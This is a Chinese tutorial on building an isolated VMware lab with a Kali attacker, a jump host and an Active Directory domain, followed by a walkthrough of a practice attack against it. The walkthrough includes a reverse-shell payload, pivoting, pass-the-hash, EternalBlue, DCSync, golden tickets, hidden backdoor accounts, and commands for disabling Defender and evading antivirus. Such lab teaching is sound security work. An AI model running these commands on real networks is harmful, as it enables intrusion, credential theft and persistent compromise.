从零搭建内网渗透靶场:VMware虚拟网络配置与域环境攻防实战
1. 项目概述:为什么我们需要一个可控的“内网战场”
在网络安全领域,尤其是渗透测试和红队评估中,“内网渗透”是一个绕不开的核心技能。很多新手朋友拿到一个靶机,或者通过Web漏洞拿到一个Webshell后,面对内部网络往往感到无从下手。网上的教程要么过于零散,要么直接丢给你一堆命令,却不告诉你这些命令在什么场景下、为什么有效。这就像给你一把枪,却不告诉你靶场在哪、靶子什么样。
“内网渗透-网络实验配置”这个项目,就是为了解决这个问题。它的核心目标不是教你如何攻击,而是为你搭建一个高度仿真、完全可控、可反复“炸毁”和重建的内网实验环境。在这个环境里,你可以安全地练习信息收集、横向移动、权限维持、隧道搭建等一系列内网渗透的关键技术,而不用担心触犯法律或影响真实业务。简单说,它就是一个属于你自己的、数字化的“网络攻防沙盘”。
这个环境适合谁?如果你是安全专业的学生、刚入行的渗透测试工程师、或者对网络攻防有浓厚兴趣的爱好者,这个项目就是为你量身定做的。通过亲手搭建和配置,你不仅能深刻理解内网的结构(如域环境、工作组、多层网络分区),更能将那些抽象的渗透命令(如nmap扫描、msfvenom生成载荷、proxychains代理转发)与具体的网络拓扑和主机角色对应起来,真正做到“知其然,更知其所以然”。
2. 环境整体设计与核心思路拆解
搭建内网实验环境,绝不是随便开几台虚拟机那么简单。一个设计良好的环境,应该能模拟真实企业内网中常见的元素和防御措施,同时兼顾实验的便利性和可复现性。
2.1 核心设计原则:仿真性、隔离性与便捷性
我的设计遵循三个核心原则:
- 仿真性:环境需要包含典型内网组件。最基本的是一个域环境,包含域控制器(DC)、成员服务器(如文件服务器、Web服务器)和域用户工作站。还可以模拟更复杂的场景,如存在防火墙分隔的DMZ区、仅允许特定协议通行的网络段等。
- 隔离性:实验环境必须与你的真实主机(宿主机)以及互联网完全隔离。这是安全红线。我们通过虚拟网络的“仅主机(Host-Only)模式”或自定义的虚拟网络来实现,确保所有的攻击流量只在虚拟环境内循环,不会泄露出去。
- 便捷性:环境要易于搭建、重置和快照。一次复杂的配置成功后,应立即创建虚拟机快照。这样,无论实验过程中“玩”得多乱,都可以一键恢复到干净状态,极大提升学习效率。
2.2 主流方案选型:VMware vs. VirtualBox
虚拟机软件是基石。主流选择是VMware Workstation Pro(或Player)和Oracle VirtualBox。
- VMware Workstation Pro:功能强大,网络配置灵活(支持自定义虚拟网络),性能和对新系统的兼容性通常更好。它的“团队”功能可以方便地管理多台虚拟机组成的拓扑。如果你的预算允许,或者追求最稳定的实验体验,VMware是首选。它模拟的网卡等硬件更“真实”,能减少一些兼容性怪问题。
- Oracle VirtualBox:免费、开源、跨平台。对于个人学习和实验,其功能完全足够。它的网络配置同样灵活,可以创建多个“内部网络”来模拟复杂的网络分区。
注意:无论选择哪个,请务必从官网下载,避免使用修改版,以保证虚拟化组件的稳定和安全。
我的选择与理由:我个人长期使用VMware Workstation Pro。原因在于其网络模拟的精细度和稳定性。例如,我可以轻松创建“VMnet2”(模拟内网网段)和“VMnet3”(模拟DMZ区),并精确控制哪些虚拟机接入哪个网络,以及网络之间是否允许互通,这非常贴合真实网络架构的设计。
2.3 拓扑结构设计:一个经典的靶场模型
为了覆盖内网渗透的主要知识点,我设计了一个三层拓扑模型,这也是很多CTF靶场和渗透测试认证(如OSCP)的常见结构:
攻击机(Attacker):
- 系统:Kali Linux。集成了几乎所有需要的工具。
- 网络:双网卡配置。
- 网卡1(NAT模式):用于连接宿主机,方便从宿主机SSH连接、传输工具或临时访问互联网更新软件包。
- 网卡2(自定义Host-Only网络,如VMnet2):用于连接目标内网。这是发起渗透测试的主要接口。
边界机/跳板机(Jump Server):
- 系统:Windows 7 或 Windows Server 2008 R2。选择旧版本系统是因为漏洞和利用方式更经典、稳定,适合学习。
- 角色:模拟一个对外提供服务的服务器(如Web服务器),通常位于DMZ或直接暴露在攻击者视野下。它是进入内网的第一个“突破口”。
- 网络:双网卡配置。
- 网卡1(与攻击机在同一Host-Only网络,VMnet2):接收来自攻击机的初始攻击。
- 网卡2(另一个内部网络,如VMnet3):连接内部核心网络。这台机器通常被称为“双宿主机”。
内网核心区:
- 域控制器(Domain Controller, DC):
- 系统:Windows Server 2012 R2 或 2016。安装Active Directory域服务,创建一个域(例如:lab.local)。
- 角色:整个内网的管理核心,存储所有域用户、计算机账号和组策略。
- 域成员服务器:
- 系统:Windows Server 2012 R2。
- 角色:例如文件服务器(File Server),存放一些敏感数据,用于练习横向移动中的凭据窃取和敏感信息搜寻。
- 域用户工作站:
- 系统:Windows 10。
- 角色:模拟普通员工的办公电脑,登录着域用户账号。这是横向移动的常见目标。
- 网络:上述所有内网机器都连接到第二个内部网络(VMnet3),与边界机相连,但与攻击机直接隔离。
- 域控制器(Domain Controller, DC):
拓扑关系图(文字描述):
[攻击机 (Kali)] <--(VMnet2)--> [边界机 (Win7)] <--(VMnet3)--> [内网核心区 (DC, 文件服务器, Win10工作站)]攻击机无法直接访问内网核心区,必须首先攻陷边界机,然后以边界机为跳板,向内网渗透。
3. 核心细节解析与实操要点
3.1 虚拟网络配置详解
这是整个环境搭建中最关键的一步,决定了网络的隔离性和连通性。以VMware为例:
- 创建虚拟网络:打开VMware的“虚拟网络编辑器”(需要管理员权限)。点击“更改设置”,然后“添加网络”。我们添加两个网络,例如VMnet2和VMnet3。类型均选择“仅主机模式”,并取消勾选“将主机虚拟适配器连接到此网络”。这一步至关重要,它确保了这两个网络完全封闭在虚拟机内部,宿主机也无法直接接入,实现了物理隔离。
- 配置子网:为VMnet2和VMnet3分别设置不同的IP网段。例如:
- VMnet2:
192.168.92.0/24(网关和DHCP可禁用,我们手动配置IP) - VMnet3:
10.10.10.0/24
- VMnet2:
- 为虚拟机分配网卡:
- Kali攻击机:添加两块网卡。第一块用“NAT”模式(方便管理)。第二块选择“自定义”->“VMnet2”。
- Win7边界机:添加两块网卡。第一块选择“自定义”->“VMnet2”。第二块选择“自定义”->“VMnet3”。
- 内网所有机器(DC、文件服务器、Win10):网卡均选择“自定义”->“VMnet3”。
实操心得:配置完成后,在每台虚拟机内使用ipconfig(Windows)或ip addr(Linux)检查IP地址是否按预期分配。建议全部使用静态IP,避免DHCP带来的变数。例如,将Kali在VMnet2网卡的IP设为192.168.92.10,Win7在VMnet2的IP设为192.168.92.20,在VMnet3的IP设为10.10.10.20;DC的IP设为10.10.10.1。
3.2 操作系统安装与基础加固(故意留“缺口”)
实验环境不是为了安全,而是为了练习攻击。因此,我们的“加固”是选择性的,目的是模拟真实环境中常见的“脆弱点”。
Windows系统安装:
- 所有Windows虚拟机安装时,为管理员账户设置一个弱密码,如
Password123!或admin@123。这是模拟弱口令漏洞。 - 安装完成后,立即关闭Windows防火墙(或配置允许ICMP和后续实验需要的端口如445、135等)。在实际渗透测试中,防火墙是首要障碍,但在学习阶段,我们先绕过它,专注于协议和漏洞本身。
- 在边界机(Win7)上,开启一些高风险服务,如Web服务(IIS)、FTP服务,并可能配置一个存在已知漏洞的旧版本应用(如旧版CMS)。
- 所有Windows虚拟机安装时,为管理员账户设置一个弱密码,如
Active Directory域环境搭建:
- 在DC上,通过服务器管理器添加“Active Directory域服务”角色,将其提升为域控制器,创建新林和根域,例如
lab.local。 - 创建组织单元(OU)、用户和组。例如,创建
IT、Finance等OU,创建普通域用户zhangsan、lisi,以及一个权限较高的服务账户svc_backup。 - 关键技巧:设置一些符合“Kerberos攻击”特征的账户。例如,为
svc_backup账户设置“不要求Kerberos预身份验证”属性,或者给某个用户配置“约束委派”。这些是内网渗透中高阶的攻击路径。
- 在DC上,通过服务器管理器添加“Active Directory域服务”角色,将其提升为域控制器,创建新林和根域,例如
Kali攻击机准备:
- 更新源并执行全面升级:
sudo apt update && sudo apt full-upgrade -y。 - 安装一些额外的、好用的工具,如
impacket工具包(用于各种协议攻击)、bloodhound及其采集器sharpHound(用于域内关系分析)、chisel(轻量级隧道工具)、ligolo-ng(现代隧道工具)等。 - 配置代理环境:编辑
/etc/proxychains4.conf,将socks4 127.0.0.1 9050注释掉,添加socks5 127.0.0.1 1080(假设我们后续会用frp或nps的socks5代理)。这是为后续横向移动做准备。
- 更新源并执行全面升级:
4. 实操过程与核心环节实现
环境搭好,相当于舞台已就位。现在,我们来模拟一次完整的、简化的内网渗透流程,看看各个组件如何联动。
4.1 阶段一:外网打点与边界突破
假设边界机(Win7, IP:192.168.92.20)运行着一个有漏洞的Web服务。
信息收集:
# 从Kali攻击机(192.168.92.10)发起扫描 nmap -sS -sV -O -p- 192.168.92.20发现开放了80端口(IIS 7.5)和21端口(FTP)。
漏洞利用:
- 通过目录扫描发现
/admin后台。尝试弱口令admin/admin登录成功。 - 后台存在文件上传功能,但过滤了
.php后缀。通过上传.php.jpg(图片马)并配合解析漏洞,或上传.aspx文件(服务器支持ASP.NET),成功获取Webshell。 - 通过Webshell执行命令,添加一个用户并添加到管理员组,或直接生成一个反向Shell。
将# 使用msfvenom生成一个针对Windows的反弹Shell载荷 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.10 LPORT=4444 -f exe -o shell.exeshell.exe上传到边界机并执行,同时在Kali上启动msfconsole监听,成功获得一个Meterpreter会话。
- 通过目录扫描发现
权限提升与持久化:
- 在获得的Meterpreter会话中,尝试本地提权(例如利用
getsystem命令或迁移到高权限进程)。 - 上传后门工具(如
msf的persistence模块)或创建计划任务,实现持久化访问。
- 在获得的Meterpreter会话中,尝试本地提权(例如利用
4.2 阶段二:内网信息收集与横向移动
现在,我们以边界机为跳板,探索内网(10.10.10.0/24网段)。
网络拓扑探测:
- 在边界机的Meterpreter会话中,执行
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24,或上传nmap的Windows版进行扫描。 - 发现内网存活主机:
10.10.10.1(DC),10.10.10.5(文件服务器),10.10.10.10(Win10工作站)。
- 在边界机的Meterpreter会话中,执行
搭建代理隧道:
- 为了从Kali攻击机直接访问内网资源,需要在边界机上架设代理。这里使用
frp。 - 在Kali(攻击机)上运行
frps(服务端),在边界机(通过Meterpreter上传并执行)运行frpc(客户端),配置一个socks5代理端口(如1080)转发到边界机。 - 配置Kali的
proxychains,现在所有通过proxychains发起的命令,流量都会经过边界机转向内网。proxychains nmap -sT -sV -p 445,139,135,88,389 10.10.10.1
- 为了从Kali攻击机直接访问内网资源,需要在边界机上架设代理。这里使用
横向移动攻击:
- 密码喷射与哈希传递:从边界机上抓取哈希(使用
hashdump或mimikatz)。假设抓取到本地管理员哈希。使用crackmapexec或impacket套件中的psexec进行哈希传递攻击。proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :[NTLM哈希] administrator@10.10.10.5 - 利用MS17-010(永恒之蓝):如果发现内网有未打补丁的Windows 7/Server 2008机器,可以使用
msf的exploit/windows/smb/ms17_010_eternalblue模块进行攻击。 - Kerberos协议攻击:如果收集到的域用户账户设置了“不要求预认证”,可以使用
impacket的GetUsersSPNs或GetNPUsers工具请求TGT,然后离线破解。
- 密码喷射与哈希传递:从边界机上抓取哈希(使用
4.3 阶段三:域渗透与权限维持
域内信息枚举:
- 在攻陷的任一域成员机器上,使用
net命令或PowerView脚本枚举域信息。net group “domain admins” /domain net user /domain - 使用
BloodHound采集器SharpHound.ps1收集域内所有关系数据,导入Kali的BloodHound图形界面,分析攻击路径。这是发现“从普通域用户到域管理员最短路径”的利器。
- 在攻陷的任一域成员机器上,使用
攻击域控制器:
- DCSync攻击:如果获得了域管理员或同等权限,可以使用
mimikatz的lsadump::dcsync功能,直接让DC同步(即泄露)指定用户的哈希,包括krbtgt账户。获取krbtgt哈希后,可以制作黄金票据(Golden Ticket),获得域内任意资源的访问权限。 - PsExec直接控制:使用获得的域管理员凭据,通过
psexec或wmiexec直接获取DC的System权限Shell。
- DCSync攻击:如果获得了域管理员或同等权限,可以使用
深度权限维持:
- 黄金票据:如上所述,使用krbtgt哈希创建黄金票据,有效期可以设置为10年,实现长期、隐蔽的权限维持。
- 创建隐藏后门账户:在DC上创建用户名末尾带
$的账户(如admin$),这类账户在net user中默认不显示。 - DCShadow攻击:这是一种高阶攻击,攻击者模拟一个域控制器,向真实的DC推送恶意更改(如添加后门用户到高权限组),隐蔽性极强。
5. 常见问题与排查技巧实录
在搭建和实验过程中,你一定会遇到各种问题。这里记录一些我踩过的坑和解决方案。
5.1 网络连通性问题
- 问题:虚拟机之间无法ping通。
- 排查:
- 检查虚拟网络配置:确认所有虚拟机的网卡是否连接到了正确的虚拟网络(VMnet2/VMnet3)。
- 检查防火墙:Windows防火墙是“头号杀手”。实验初期,可以在所有Windows虚拟机上直接关闭防火墙(
netsh advfirewall set allprofiles state off)。 - 检查IP地址:确认各虚拟机在相应网段的IP地址配置正确,且无冲突。确保网关和DNS设置正确(内网实验通常不需要网关)。
- 禁用IPv6:有时IPv6会引起混淆。可以在网络适配器设置中暂时禁用IPv6。
5.2 域环境搭建失败
- 问题:在Windows Server上安装AD域服务时失败,提示域名问题或网络问题。
- 排查:
- 设置静态IP:DC必须使用静态IP,不能是DHCP获取的。
- 修改主机名:在安装AD前,将计算机名修改为一个符合FQDN格式的简单名字,如
DC01。 - 配置DNS:将DC自己的IP地址设为首选DNS服务器。这是AD工作的关键。
- 使用全域名:创建新林时,使用一个虚构的根域名,如
lab.local,不要使用.com等真实域名。
5.3 横向移动工具失败
- 问题:使用
psexec或wmiexec进行横向移动时,连接被拒绝或认证失败。 - 排查:
- 服务状态:确保目标机器的
Server服务(对应445端口)和Windows Management Instrumentation服务是运行的。 - 防火墙规则:确认目标机器的防火墙放行了135、445、139等端口。可以临时执行
netsh advfirewall firewall add rule name=“SMB” dir=in action=allow protocol=TCP localport=445。 - 用户权限:确认你使用的凭据在目标机器上具有管理员权限。在工作组环境中,需要目标机器的本地管理员密码;在域环境中,需要域管理员或目标机器本地管理员权限。
- 哈希格式:使用
impacket工具进行哈希传递时,确保哈希格式是LMHASH:NTHASH,如果LM哈希为空,则用:代替,如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。
- 服务状态:确保目标机器的
5.4 代理隧道不稳定
- 问题:通过
frp或reGeorg搭建的代理隧道时断时续,速度慢。 - 排查与技巧:
- 选择稳定工具:对于TCP层的隧道,
frp和nps非常稳定。对于HTTP/HTTPS隧道(用于突破严格的出口过滤),reGeorg和Neo-reGeorg是经典选择,但稳定性稍差。 - 使用多级代理:如果网络环境复杂,可以尝试多级跳转。例如,Kali -> 边界机 -> 内网另一台主机。
- 使用
ligolo-ng:这是一个基于TUN接口的现代隧道工具,性能非常好,能自动路由,体验接近直接接入内网,强烈推荐在条件允许时使用。 - 调整超时和重试:在
proxychains配置中增加tcp_read_time_out和tcp_connect_time_out的值。
- 选择稳定工具:对于TCP层的隧道,
5.5 杀毒软件干扰
- 问题:上传的工具(如
mimikatz.exe,nc.exe)被Windows Defender瞬间删除。 - 规避技巧:
- 实时关闭:在已获得Shell的机器上,优先执行命令关闭实时防护。
powershell Set-MpPreference -DisableRealtimeMonitoring $true - 免杀处理:对工具进行混淆、加壳或自己编译。可以使用
Veil-Evasion、Shellter等工具生成免杀载荷,或者从GitHub寻找针对Defender的绕过技术。 - 内存加载:不将工具文件落地到磁盘。使用
PowerShell或C#的Assembly.Load等方式,直接从远程加载字节码到内存中执行。Covenant、SharPersist等框架支持这种方式。 - 利用白名单:使用
MSBuild.exe,InstallUtil.exe等系统自带的可信程序来执行恶意代码。
- 实时关闭:在已获得Shell的机器上,优先执行命令关闭实时防护。
搭建这样一个内网渗透实验环境,初期会花费不少时间在配置和排错上,但这个过程本身极具价值。它能让你对内网协议、服务、安全机制和攻击链有立体而深刻的理解。当你在自己构建的“沙盘”里成功从外网一步步打到域控,那种对整个攻击链路豁然开朗的感觉,是只看教程无法比拟的。记住,每完成一次完整的渗透,就创建一个快照。然后尝试增加难度:打开防火墙、部署简单的EDR、设置网络访问控制列表,在攻防的不断对抗中,你的实战能力会飞速成长。
